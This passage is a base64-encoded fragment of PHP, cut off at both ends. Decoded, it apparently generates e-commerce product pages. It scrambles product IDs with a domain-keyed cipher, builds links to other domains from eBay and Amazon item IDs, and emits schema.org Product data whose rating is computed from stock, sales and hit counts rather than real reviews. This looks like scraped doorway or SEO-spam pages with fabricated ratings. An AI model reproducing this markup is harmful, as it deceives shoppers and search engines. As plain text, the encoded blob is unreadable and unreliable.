Gl0bGU9InskcHJvZHVjdFsndGl0bGUnXX0iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3R5bGU9ImhlaWdodDogYXV0bzttYXgtaGVpZ2h0OiAxMDAlO21heC13aWR0aDogMTAwJTt3aWR0aDogYXV0bzttYXJnaW46IDAgYXV0bzsiLz4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9Inpvb20iIGRhdGEtaW5kZXg9IjAiPgogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJwb3J0by1pY29uLXBsdXMiPjwvaT4KICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2R1Y3QtdGh1bWJuYWlscyB0aHVtYm5haWxzIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2R1Y3QtdGh1bWJzLXNsaWRlciBvd2wtY2Fyb3VzZWwgaGFzLWNjb2xzIGNjb2xzLTQiPgpIVE1MOwoKICAgICAgICBmb3JlYWNoICgkcHJvZHVjdFsncGljdHVyZXMnXSBhcyAkaW1hZ2UpIHsKICAgICAgICAgICAgJGltYWdlSHRtbFBhcnRzW10gPSA8PDxIVE1MCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImltZy10aHVtYm5haWwiPgogICAgICAgICAgICAgICAgPGltZyBjbGFzcz0iaW1nLXJlc3BvbnNpdmUiIGFsdD0ieyRwcm9kdWN0Wyd0aXRsZSddfSIKICAgICAgICAgICAgICAgICAgICAgc3JjPSIkaW1hZ2UiLz4KICAgICAgICAgICAgPC9kaXY+CkhUTUw7CiAgICAgICAgfQoKICAgICAgICAkaW1hZ2VIdG1sUGFydHNbXSA9IDw8PEhUTUwKICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4gICAKSFRNTDsKCiAgICAgICAgJG1ldGFIdG1sUGFydHMgPSBbXTsKICAgICAgICAkbWV0YUh0bWxQYXJ0c1tdID0gPDw8SFRNTAogICAgICAgIDxzcGFuIGNsYXNzPSJwcm9kdWN0LXN0b2NrIGluLXN0b2NrIj5BdmFpbGFiaWxpdHk6IDxzcGFuIGNsYXNzPSJzdG9jayI+eyRxdWFudGl0eX0gaW4gc3RvY2s8L3NwYW4+PC9zcGFuPgpIVE1MOwoKICAgICAgICBmb3JlYWNoICgkcHJvZHVjdFsnc3BlY2lmaWNzJ10gYXMgJGtleSA9PiAkdmFsdWUpIHsKICAgICAgICAgICAgJG1ldGFIdG1sUGFydHNbXSA9IDw8PEhUTUwKICAgICAgICAgICAgPGxpPgogICAgICAgICAgICAgICAgPHN0cm9uZz4ka2V5Ojwvc3Ryb25nPgogICAgICAgICAgICAgICAgPHNwYW4+JHZhbHVlPC9zcGFuPgogICAgICAgICAgICA8L2xpPgpIVE1MOwogICAgICAgIH0KCiAgICAgICAgJHByaWNlSHRtbCA9IDw8PEhUTUwKICAgICAgICA8cCBjbGFzcz0icHJpY2UiPjxkZWwgYXJpYS1oaWRkZW49InRydWUiPjxzcGFuIGNsYXNzPSJ3b29jb21tZXJjZS1QcmljZS1hbW91bnQgYW1vdW50Ij48YmRpPjxzcGFuIGNsYXNzPSJ3b29jb21tZXJjZS1QcmljZS1jdXJyZW5jeVN5bWJvbCI+eyRjdXJyZW5jeVN5bWJvbH0geyRyYXRlUHJpY2VbJ3Jhd19wcmljZSddfTwvc3Bhbj48L2JkaT48L3NwYW4+PC9kZWw+IDxpbnM+PHNwYW4gY2xhc3M9Indvb2NvbW1lcmNlLVByaWNlLWFtb3VudCBhbW91bnQiPjxiZGk+PHNwYW4gY2xhc3M9Indvb2NvbW1lcmNlLVByaWNlLWN1cnJlbmN5U3ltYm9sIj57JGN1cnJlbmN5U3ltYm9sfSB7JHJhdGVQcmljZVsnZGlzcGxheV9wcmljZSddfTwvc3Bhbj48L2JkaT48L3NwYW4+PC9pbnM+PC9wPgpIVE1MOwoKICAgICAgICAkaG9tZVVybCA9ICIvIjsKICAgICAgICAkYnJlYWRjcnVtYkh0bWxQYXJ0cyA9IFtdOwogICAgICAgICRwb3NpdGlvbiA9IDE7CiAgICAgICAgJGJyZWFkY3J1bWJIdG1sUGFydHNbXSA9IDw8PEhUTUwKICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIgY2xlYXJmaXgiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJwdC1yaWdodCBkLW5vbmUiPgogICAgICAgICAgICAgICAgPGgxIGNsYXNzPSJwYWdlLXRpdGxlIj57JHByb2R1Y3RbJ3RpdGxlJ119PC9oMT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJyZWFkY3J1bWJzLXdyYXAgcHQtbGVmdCI+CiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9ImJyZWFkY3J1bWIiIGl0ZW1zY29wZSBpdGVtdHlwZT0iaHR0cHM6Ly9zY2hlbWEub3JnL0JyZWFkY3J1bWJMaXN0Ij4KICAgICAgICAgICAgICAgICAgICA8bGkgaXRlbXByb3A9Iml0ZW1MaXN0RWxlbWVudCIgaXRlbXNjb3BlIGl0ZW10eXBlPSJodHRwczovL3NjaGVtYS5vcmcvTGlzdEl0ZW0iPjxhCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdGVtcHJvcD0iaXRlbSIgaHJlZj0ieyRob21lVXJsfSIgdGl0bGU9IkdvIHRvIEhvbWUgUGFnZSI+PHNwYW4gaXRlbXByb3A9Im5hbWUiPkhvbWU8L3NwYW4+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8bWV0YSBpdGVtcHJvcD0icG9zaXRpb24iIGNvbnRlbnQ9InskcG9zaXRpb259Ii8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJkZWxpbWl0ZXIgZGVsaW1pdGVyLTIiPjwvaT48L2xpPgpIVE1MOwoKICAgICAgICBmb3JlYWNoICgkcHJvZHVjdFsnY2F0ZWdvcnlfbmFtZV9wYXRoX3ZlYyddIGFzICRpID0+ICRjcnVtYikgewogICAgICAgICAgICAkY3J1bWJVcmwgPSBzZWxmOjpMSVNUX1BBR0VfUk9VVEVSX05BTUUgLiAiLyIgLiAkdGhpcy0+dXJsQ29kZSh1Y3dvcmRzKHN0cnRvbG93ZXIoJGNydW1iKSkpIC4gIl8iIC4gJHRoaXMtPnByb2Nlc3NSYXdJZCgic2t1IiAuICRwcm9kdWN0WydjYXRlZ29yeV9pZF9wYXRoX3ZlYyddWyRpXSkgLiAiLmh0bWwiOwogICAgICAgICAgICAkZGVsaW1pdGVyTGkgPSAoJGkgPCBjb3VudCgkcHJvZHVjdFsnY2F0ZWdvcnlfbmFtZV9wYXRoX3ZlYyddKSAtIDEpID8gJzxpIGNsYXNzPSJkZWxpbWl0ZXIgZGVsaW1pdGVyLTIiPjwvaT4nIDogJyc7CiAgICAgICAgICAgICRwb3NpdGlvbiA9ICRwb3NpdGlvbiArIDE7CiAgICAgICAgICAgICRicmVhZGNydW1iSHRtbFBhcnRzW10gPSA8PDxIVE1MCiAgICAgICAgICAgIDxsaSBpdGVtcHJvcD0iaXRlbUxpc3RFbGVtZW50IiBpdGVtc2NvcGUgaXRlbXR5cGU9Imh0dHBzOi8vc2NoZW1hLm9yZy9MaXN0SXRlbSI+CiAgICAgICAgICAgICAgICA8YSBpdGVtcHJvcD0iaXRlbSIgIGhyZWY9Ii8kY3J1bWJVcmwiIHRpdGxlPSJ7JGNydW1ifSI+CiAgICAgICAgICAgICAgICAgICAgPHNwYW4gaXRlbXByb3A9Im5hbWUiPnskY3J1bWJ9PC9zcGFuPgogICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgPG1ldGEgaXRlbXByb3A9InBvc2l0aW9uIiBjb250ZW50PSJ7JHBvc2l0aW9ufSIvPgogICAgICAgICAgICAgICAgeyRkZWxpbWl0ZXJMaX0KICAgICAgICAgICAgPC9saT4KSFRNTDsKICAgICAgICB9CgogICAgICAgICRicmVhZGNydW1iSHRtbFBhcnRzW10gPSA8PDxIVE1MCiAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4gCkhUTUw7CgogICAgICAgICR0aXRsZUh0bWwgPSA8PDxIVE1MCiAgICAgICAgICAgICAgICA8aDIgY2xhc3M9InByb2R1Y3RfdGl0bGUgZW50cnktdGl0bGUgc2hvdy1wcm9kdWN0LW5hdiI+eyRwcm9kdWN0Wyd0aXRsZSddfTwvaDI+CkhUTUw7CgogICAgICAgICRleHRlcm5hbExpbmtIdG1sUGFydHMgPSBbXTsKICAgICAgICBmb3JlYWNoICgkbGlua3MgYXMgJGRhdGEpewogICAgICAgICAgICAkdGl0bGUgPSAkdGhpcy0+dXJsQ29kZSh1Y3dvcmRzKHN0cnRvbG93ZXIoJGRhdGFbJ3RpdGxlJ10pKSk7CiAgICAgICAgICAgICRwcm9kdWN0SWQgPSAkdGhpcy0+cHJvY2Vzc1Jhd0lkKCJza3UiIC4gJGRhdGFbJ2l0ZW1faWQnXSwgJGRhdGFbJ2RvbWFpbiddKTsKICAgICAgICAgICAgaWYoJGRhdGFbJ2lzX25naW54J10pewogICAgICAgICAgICAgICAgJHVybCA9ICJ7JGRhdGFbJ3NjaGVtZSddfTovL3skZGF0YVsnZG9tYWluJ119eyRkYXRhWydwYXRoJ119P3Q9ZGV0YWlsJmk9eyRwcm9kdWN0SWR9IjsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICR1cmwgPSAieyRkYXRhWydzY2hlbWUnXX06Ly97JGRhdGFbJ2RvbWFpbiddfXskZGF0YVsncGF0aCddfSIgLiBzZWxmOjpERVRBSUxfUEFHRV9ST1VURVJfTkFNRSAuICIveyR0aXRsZX1feyRwcm9kdWN0SWR9Lmh0bWwiOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRleHRlcm5hbExpbmtIdG1sUGFydHNbXSA9IDw8PEhUTUwKICAgICAgICAgICAgPGEgaHJlZj0iJHVybCI+eyRkYXRhWyd0aXRsZSddfTwvYT48YnI+CkhUTUw7CiAgICAgICAgfQoKICAgICAgICAkaW1hZ2VIdG1sID0gaW1wbG9kZSgnJywgJGltYWdlSHRtbFBhcnRzKTsKICAgICAgICAkbWV0YUh0bWwgPSBpbXBsb2RlKCcnLCAkbWV0YUh0bWxQYXJ0cyk7CiAgICAgICAgJGJyZWFkY3J1bWJIdG1sID0gaW1wbG9kZSgnJywgJGJyZWFkY3J1bWJIdG1sUGFydHMpOwogICAgICAgICRleHRlcm5hbExpbmtIdG1sID0gaW1wbG9kZSgnJywgJGV4dGVybmFsTGlua0h0bWxQYXJ0cyk7CgogICAgICAgIHJldHVybiBbJ2ltYWdlX2h0bWwnID0+ICRpbWFnZUh0bWwsICdtZXRhX2h0bWwnID0+ICRtZXRhSHRtbCwgJ2JyZWFkY3J1bWJfaHRtbCcgPT4gJGJyZWFkY3J1bWJIdG1sLCAncHJpY2VfaHRtbCcgPT4gJHByaWNlSHRtbCwgJ3RpdGxlX2h0bWwnID0+ICR0aXRsZUh0bWwsICdkZXNjcmlwdGlvbl9odG1sJyA9PiAkcHJvZHVjdFsnZGVzY3JpcHRpb24nXSAuICI8ZGl2IGNsYXNzPSdyZWxhdGVkIHByb2R1Y3RzJz48aDIgY2xhc3M9J3NsaWRlci10aXRsZSByZWxhdGVkLXByb2R1Y3RzJz48L2gyPjwvZGl2PiIgLiAkZXh0ZXJuYWxMaW5rSHRtbF07CiAgICB9CgogICAgLyoqCiAgICAgKiBDYWxjdWxhdGUgcHJpY2UgYmVmb3JlIGRpc2NvdW50IGFuZCBwcmljZSBhZnRlciBkaXNjb3VudAogICAgICogQHBhcmFtICRwcmljZSBpbnQgaW5pdGlhbCBwcmljZQogICAgICogQHJldHVybiBmbG9hdFtdfGludFtdCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXREaXNjb3VudFByaWNlKCRwcmljZSl7CiAgICAgICAgJGRpc3BsYXlQcmljZSA9IGZsb29yKCRwcmljZSAqIHNlbGY6OlJBV19QUklDRV9SQVRFICogc2VsZjo6RElTUExBWV9QUklDRV9SQVRFICogMTAwKSAvIDEwMDsKICAgICAgICAkcmF3UHJpY2UgPSBmbG9vcigkcHJpY2UgKiBzZWxmOjpSQVdfUFJJQ0VfUkFURSAqIDEwMCkgLyAxMDA7CiAgICAgICAgcmV0dXJuIFsnZGlzcGxheV9wcmljZScgPT4gJGRpc3BsYXlQcmljZSwgJ3Jhd19wcmljZScgPT4gJHJhd1ByaWNlXTsKICAgIH0KCiAgICAvKioKICAgICAqIEVuY3J5cHRpb24gYW5kIGRlY3J5cHRpb24gYWxnb3JpdGhtCiAgICAgKiBAcGFyYW0gJGsKICAgICAqIEBwYXJhbSAkcwogICAgICogQHBhcmFtICRlbmNyeXB0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gcHJvY2Vzc1Jhd0lkKCRzLCAkZW5jcnlwdCA9IHRydWUsICRrID0gJycpCiAgICB7CiAgICAgICAgJGsgPSAkayA/OiAkdGhpcy0+ZG9tYWluOwogICAgICAgIGlmIChzdHJwb3MoJGssICJ3d3cuIikgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICRrID0gInd3dy4iIC4gJGs7CiAgICAgICAgfQogICAgICAgICRrTGVuID0gc3RybGVuKCRrKTsKICAgICAgICAkc0xlbiA9IHN0cmxlbigkcyk7CiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGtMZW47ICRpKyspIHsKICAgICAgICAgICAgJGQgPSAkZW5jcnlwdCA/IGJhc2VfY29udmVydCgka1skaV0sIDM2LCAxMCkgOiAzNiAtIGJhc2VfY29udmVydCgka1skaV0sIDM2LCAxMCk7CiAgICAgICAgICAgICR0ID0gJyc7CiAgICAgICAgICAgIGZvciAoJGogPSAwOyAkaiA8ICRzTGVuOyAkaisrKSB7CiAgICAgICAgICAgICAgICAkdCAuPSBiYXNlX2NvbnZlcnQoKGJhc2VfY29udmVydCgkc1skal0sIDM2LCAxMCkgKyAkZCkgJSAzNiwgMTAsIDM2KTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcyA9ICR0OwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBWZXJpZnkgcHJvZHVjdCByZXF1ZXN0IElEIGluY2x1ZGluZyBjYXRlZ29yeSBJRCBhbmQgcHJvZHVjdCBJRAogICAgICogQHBhcmFtICR2ZXJpZnlJZCBzdHJpbmcKICAgICAqIEBwYXJhbSAkdHlwZSBzdHJpbmcKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdmVyaWZ5UHJvZHVjdElkKCR2ZXJpZnlJZCwgJHR5cGUgPSBudWxsKQogICAgewogICAgICAgIGlmICghZW1wdHkoJHZlcmlmeUlkKSAmJiAkdmVyaWZ5SWQgIT0gLTEpIHsKICAgICAgICAgICAgJHZlcmlmeUlkID0gKHN0cmluZykkdmVyaWZ5SWQ7CiAgICAgICAgICAgICRpZExlbiA9IHN0cmxlbigkdmVyaWZ5SWQpOwoKICAgICAgICAgICAgaWYoc3RycG9zKHN0cnRvdXBwZXIoJHZlcmlmeUlkKSwgJ0gnKSA9PT0gMCl7CiAgICAgICAgICAgICAgICAkYXBpU3JjID0gc2VsZjo6QVBJX1NSQ19OQU1FX0hPVF9UT1BJQ1M7CiAgICAgICAgICAgICAgICAkdGhpcy0+aXNIb3RUb3BpY3MgPSB0cnVlOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGFwaVNyYyA9ICR0aGlzLT5hcGlTcmM7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHN3aXRjaCAoJHR5cGUpIHsKICAgICAgICAgICAgICAgIGNhc2Ugc2VsZjo6VkVSSUZZX0NBVEVHT1JZX1RZUEU6CiAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkYXBpU3JjKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2Ugc2VsZjo6QVBJX1NSQ19OQU1FX0VCQVk6CiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2Ugc2VsZjo6QVBJX1NSQ19OQU1FX0JSQU5EQVBJOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGN0eXBlX2RpZ2l0KCR2ZXJpZnlJZCkgJiYgJGlkTGVuID49IHNlbGY6OkNBVEVHT1JZX0lEX01JTl9MRU4gJiYgJGlkTGVuIDw9IHNlbGY6OkNBVEVHT1JZX0lEX01BWF9MRU47CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSBzZWxmOjpBUElfU1JDX05BTUVfQU1BWk9OOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGN0eXBlX2RpZ2l0KCR2ZXJpZnlJZCkgJiYgJGlkTGVuID49IHNlbGY6OkNBVEVHT1JZX0lEX01JTl9MRU4gJiYgJGlkTGVuIDw9IHNlbGY6OkNBVEVHT1JZX0lEX01BWF9MRU47CiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2Ugc2VsZjo6QVBJX1NSQ19OQU1FX0hPVF9UT1BJQ1M6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gY3R5cGVfYWxudW0oJHZlcmlmeUlkKSAmJiAkaWRMZW4gPj0gc2VsZjo6Q0FURUdPUllfSURfTUlOX0xFTiAmJiAkaWRMZW4gPD0gc2VsZjo6Q0FURUdPUllfSURfTUFYX0xFTjsKICAgICAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBjYXNlIHNlbGY6OlZFUklGWV9QUk9EVUNUX1RZUEU6CiAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkYXBpU3JjKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2Ugc2VsZjo6QVBJX1NSQ19OQU1FX0VCQVk6CiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2Ugc2VsZjo6QVBJX1NSQ19OQU1FX0JSQU5EQVBJOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGN0eXBlX2RpZ2l0KCR2ZXJpZnlJZCkgJiYgJGlkTGVuID49IHNlbGY6OlBST0RVQ1RfSURfTUlOX0xFTiAmJiAkaWRMZW4gPD0gc2VsZjo6UFJPRFVDVF9JRF9NQVhfTEVOOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2Ugc2VsZjo6QVBJX1NSQ19OQU1FX0FNQVpPTjoKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSBzZWxmOjpBUElfU1JDX05BTUVfSE9UX1RPUElDUzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBjdHlwZV9hbG51bSgkdmVyaWZ5SWQpICYmICRpZExlbiA+PSBzZWxmOjpQUk9EVUNUX0lEX01JTl9MRU4gJiYgJGlkTGVuIDw9IHNlbGY6OlBST0RVQ1RfSURfTUFYX0xFTjsKICAgICAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBAcGFyYW0gJHVybAogICAgICogQHJldHVybiBzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHVybENvZGUoJHVybCkKICAgIHsKICAgICAgICBpZiAoc3RycG9zKCR1cmwsICcgJykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICR1cmwgPSBwcmVnX3JlcGxhY2UoJy9bXHB7UH1ccHtTfVs6c3BhY2U6XV0rL3UnLCAnICcsICR1cmwpOwogICAgICAgICAgICAkdXJsID0gc3RyX3JlcGxhY2UoIiAgIiwgIiAiLCAkdXJsKTsKICAgICAgICAgICAgJHVybCA9IHN0cl9yZXBsYWNlKCIgICIsICIgIiwgJHVybCk7CiAgICAgICAgICAgICR1cmwgPSB0cmltKCR1cmwpOwogICAgICAgICAgICAkdXJsID0gc3RyX3JlcGxhY2UoIiAiLCAiLSIsICR1cmwpOwogICAgICAgICAgICAkdXJsID0gc3RyX3JlcGxhY2UoIl8iLCAiLSIsICR1cmwpOwogICAgICAgIH0gZWxzZWlmIChzdHJwb3MoJHVybCwgJy0nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHVybCA9IHVjd29yZHMoc3RyX3JlcGxhY2UoIi0iLCAiICIsICR1cmwpKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR1cmw7CiAgICB9CgogICAgLyoqCiAgICAgKiBidWlsZCBwcm9kdWN0IGpzb24KICAgICAqIEBwYXJhbSAkcHJvZHVjdAogICAgICogQHJldHVybiBtaXhlZAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGJ1aWxkSnNvbklkSHRtbCgkcHJvZHVjdCkKICAgIHsKICAgICAgICBnbG9iYWwgJGxvY2FsQnVzaW5lc3M7CgogICAgICAgICRmaWVsZHNNYXBwaW5nID0gYXJyYXkoCiAgICAgICAgICAgICJDb25kaXRpb24iID0+ICJjb25kaXRpb24iLAogICAgICAgICAgICAiV2VpZ2h0IiA9PiAid2VpZ2h0IiwKICAgICAgICAgICAgIkhlaWdodCIgPT4gImhlaWdodCIsCiAgICAgICAgICAgICJXaWR0aCIgPT4gIndpZHRoIiwKICAgICAgICAgICAgIkNvbG9yIiA9PiAiY29sb3IiLAogICAgICAgICAgICAiTVBOIiA9PiAibXBuIiwKICAgICAgICAgICAgIkdUSU4iID0+ICJndGluIiwKICAgICAgICAgICAgIkdUSU44IiA9PiAiZ3RpbjgiLAogICAgICAgICAgICAiR1RJTjEzIiA9PiAiZ3RpbjEzIiwKICAgICAgICAgICAgIkdUSU4xNCIgPT4gImd0aW4xNCIsCiAgICAgICAgICAgICJJU0JOIiA9PiAiaXNibiIsCiAgICAgICAgICAgICJCcmFuZCIgPT4gImJyYW5kIiwKICAgICAgICAgICAgIkRlcHRoIiA9PiAiZGVwdGgiLAogICAgICAgICAgICAiTWF0ZXJpYWwiID0+ICJtYXRlcmlhbCIKICAgICAgICApOwoKICAgICAgICAkaHR0cFR5cGUgPSAoKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSA9PSAnb24nKSB8fCAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSkgJiYgJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfUFJPVE8nXSA9PSAnaHR0cHMnKSkgPyAnaHR0cHM6Ly8nIDogJ2h0dHA6Ly8nOwoKICAgICAgICAkZXhpZkRhdGEgPSBbXTsKICAgICAgICBpZiAoaXNzZXQoJHByb2R1Y3RbJ3NwZWNpZmljcyddKSkgewogICAgICAgICAgICBmb3JlYWNoICgkcHJvZHVjdFsnc3BlY2lmaWNzJ10gYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWVsZHNNYXBwaW5nIGFzICRmaWVsZCA9PiAkcHJvcGVydHkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHByb2R1Y3RbJHByb3BlcnR5XSkgJiYgJGsgPT0gJGZpZWxkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwcm9kdWN0WyRwcm9wZXJ0eV0gPSAkdjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgYXJyYXlfcHVzaCgKICAgICAgICAgICAgICAgICAgICAkZXhpZkRhdGEsCiAgICAgICAgICAgICAgICAgICAgWwogICAgICAgICAgICAgICAgICAgICAgICAiQHR5cGUiID0+ICJQcm9wZXJ0eVZhbHVlIiwKICAgICAgICAgICAgICAgICAgICAgICAgIm5hbWUiID0+ICRrLAogICAgICAgICAgICAgICAgICAgICAgICAidmFsdWUiID0+ICR2CiAgICAgICAgICAgICAgICAgICAgXQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgJGltYWdlRGF0YSA9IFtdOwogICAgICAgIGlmIChpc3NldCgkcHJvZHVjdFsncGljdHVyZXMnXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJHByb2R1Y3RbJ3BpY3R1cmVzJ10gYXMgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICRpbWFnZURhdGFbXSA9ICJ7JGh0dHBUeXBlfXskdGhpcy0+ZG9tYWlufXskdGhpcy0+Z2V0Q29tcGxldGVSb3V0ZSgpfXskdn0iOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkcmF0aW5nVmFsdWUgPSAkdGhpcy0+Y2FsY3VsYXRlUmF0aW5nKAogICAgICAgICAgICAkcHJvZHVjdFsncXVhbnRpdHknXSwKICAgICAgICAgICAgJHByb2R1Y3RbJ3NvbGQnXSwKICAgICAgICAgICAgJHByb2R1Y3RbJ2hpdF9jb3VudCddCiAgICAgICAgKTsKICAgICAgICAkcHJpY2VWYWxpZFVudGlsID0gZGF0ZSgiWS1tLWQiLCBzdHJ0b3RpbWUoIm5leHQgeWVhciIpKTsKICAgICAgICAkcHJpY2VDdXJyZW5jeSA9ICRwcm9kdWN0WydjdXJyZW5jeV9pZCddOwogICAgICAgICRyYXRlUHJpY2UgPSAkdGhpcy0+Z2V0RGlzY291bnRQcmljZSgkcHJvZHVjdFsnY3VycmVudF9wcmljZSddKTsKICAgICAgICAkcHJpY2UgPSAkcmF0ZVByaWNlWydkaXNwbGF5X3ByaWNlJ107CiAgICAgICAgJHByb2R1Y3REZXNjcmlwdGlvbiA9IGh0bWxzcGVjaWFsY2hhcnMoJHByb2R1Y3RbJ2Rlc2NyaXB0aW9uJ10sIEVOVF9RVU9URVMpOwogICAgICAgICRuYW1lID0gc3RyaXBfdGFncygkcHJvZHVjdFsndGl0bGUnXSk7CiAgICAgICAgJGRlc2NyaXB0aW9uID0gZW1wdHkoc3RyX3JlcGxhY2UoIiAiLCAiIiwgJHByb2R1Y3REZXNjcmlwdGlvbikpID8gJG5hbWUgOiAkcHJvZHVjdERlc2NyaXB0aW9uOwogICAgICAgICRkZXNjcmlwdGlvbiA9IG1iX3N1YnN0cihodG1sc3BlY2lhbGNoYXJzKCRkZXNjcmlwdGlvbiwgRU5UX1FVT1RFUyksIDAsIDUwMDApOwogICAgICAgICRwcm9kdWN0SWQgPSAkdGhpcy0+cHJvY2Vzc1Jhd0lkKCJza3UiIC4gJHByb2R1Y3RbJ2l0ZW1faWQnXSk7CgogICAgICAgIGlmIChlbXB0eSgkcHJvZHVjdFsnbXBuJ10pICYmIGVtcHR5KCRwcm9kdWN0Wydpc2JuJ10pICYmIGVtcHR5KCRwcm9kdWN0WydndGluJ10pICYmIGVtcHR5KCRwcm9kdWN0WydndGluOCddKQogICAgICAgICAgICAmJiBlbXB0eSgkcHJvZHVjdFsnZ3RpbjEzJ10pICYmIGVtcHR5KCRwcm9kdWN0WydndGluMTQnXSkpIHsKICAgICAgICAgICAgJGlkZW50aWZpZXJFeGlzdHMgPSAnbm8nOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRpZGVudGlmaWVyRXhpc3RzID0gJ3llcyc7CiAgICAgICAgfQoKICAgICAgICAkbG9jYWxCdXNpbmVzcyAgPSBbCiAgICAgICAgICAgICJAY29udGV4dCIgPT4gImh0dHBzOi8vc2NoZW1hLm9yZyIsCiAgICAgICAgICAgICJAdHlwZSIgPT4gIlByb2R1Y3QiLAogICAgICAgICAgICAibmFtZSIgPT4gJG5hbWUsCiAgICAgICAgICAgICJpbWFnZSIgPT4gJGltYWdlRGF0YSwKICAgICAgICAgICAgInNrdSIgPT4gJHByb2R1Y3RJZCwKICAgICAgICAgICAgImlkZW50aWZpZXJFeGlzdHMiID0+ICRpZGVudGlmaWVyRXhpc3RzLAogICAgICAgICAgICAiY2F0ZWdvcnkiID0+ICRwcm9kdWN0WydjYXRlZ29yeV9uYW1lJ10sCiAgICAgICAgICAgICJicmFuZCIgPT4gWydAdHlwZScgPT4gJ0JyYW5kJywgJ25hbWUnID0+ICRwcm9kdWN0WydicmFuZCddID8gJHByb2R1Y3RbJ2JyYW5kJ10gOiAidW5rbm93biJdLAogICAgICAgICAgICAiZGVzY3JpcHRpb24iID0+ICRkZXNjcmlwdGlvbiwKICAgICAgICAgICAgIml0ZW1Db25kaXRpb24iID0+ICRwcm9kdWN0Wydjb25kaXRpb24nXSwKICAgICAgICAgICAgImNvdW50cnlPZk9yaWdpbiIgPT4gJHByb2R1Y3RbJ2NvdW50cnknXSwKICAgICAgICAgICAgInJldmlldyIgPT4gWwogICAgICAgICAgICAgICAgIkB0eXBlIiA9PiAiUmV2aWV3IiwKICAgICAgICAgI